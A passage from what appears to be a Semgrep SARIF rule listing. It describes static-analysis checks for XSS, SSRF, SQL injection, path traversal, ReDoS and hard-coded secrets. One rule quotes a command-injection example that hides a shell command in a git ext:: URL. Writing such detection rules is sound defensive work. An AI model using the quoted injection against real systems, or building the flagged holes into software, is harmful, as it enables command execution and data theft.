protection."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","id":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","name":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","id":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","name":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"help":{"markdown":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1)\n","text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-math1","id":"python.lang.compatibility.python37.python37-compatibility-math1","name":"python.lang.compatibility.python37.python37-compatibility-math1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-math1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","id":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","name":"ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-sdk-core.ruby-aws-sdk-hardcoded-secret.ruby-aws-sdk-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF), which could result in attackers gaining access to private organization data. To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","id":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","name":"python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-urllib.ssrf-injection-urllib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"help":{"markdown":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","id":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","name":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","id":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","name":"python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.regex.tainted-regex-stdlib-fastapi.tainted-regex-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe","id":"python.django.security.audit.xss.html-safe.html-safe","name":"python.django.security.audit.xss.html-safe.html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-safe.html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","id":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","name":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"help":{"markdown":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone","id":"javascript.lang.security.spawn-git-clone.spawn-git-clone","name":"javascript.lang.security.spawn-git-clone.spawn-git-clone","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.spawn-git-clone.spawn-git-clone"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Writing `$MAP` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map","id":"trailofbits.go.racy-write-to-map.racy-write-to-map","name":"trailofbits.go.racy-write-to-map.racy-write-to-map","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-write-to-map.racy-write-to-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","id":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","name":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token","id":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","name":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-token.detected-artifactory-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"help":{"markdown":"Custom ERC721 implementation lacks access control checks in _transfer()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom)\n - [https://twitter.com/BlockSecAlert/status/1516289618605654024](https://twitter.com/BlockSecAlert/status/1516289618605654024)\n - [https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b](https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b)\n","text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","id":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","name":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","id":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","name":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"help":{"markdown":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n - [https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/](https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/)\n - [https://bento.dev/checks/flask/unescaped-file-extension/](https://bento.dev/checks/flask/unescaped-file-extension/)\n","text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension","id":"python.flask.security.unescaped-template-extension.unescaped-template-extension","name":"python.flask.security.unescaped-template-extension.unescaped-template-extension","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unescaped-template-extension.unescaped-template-extension"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep 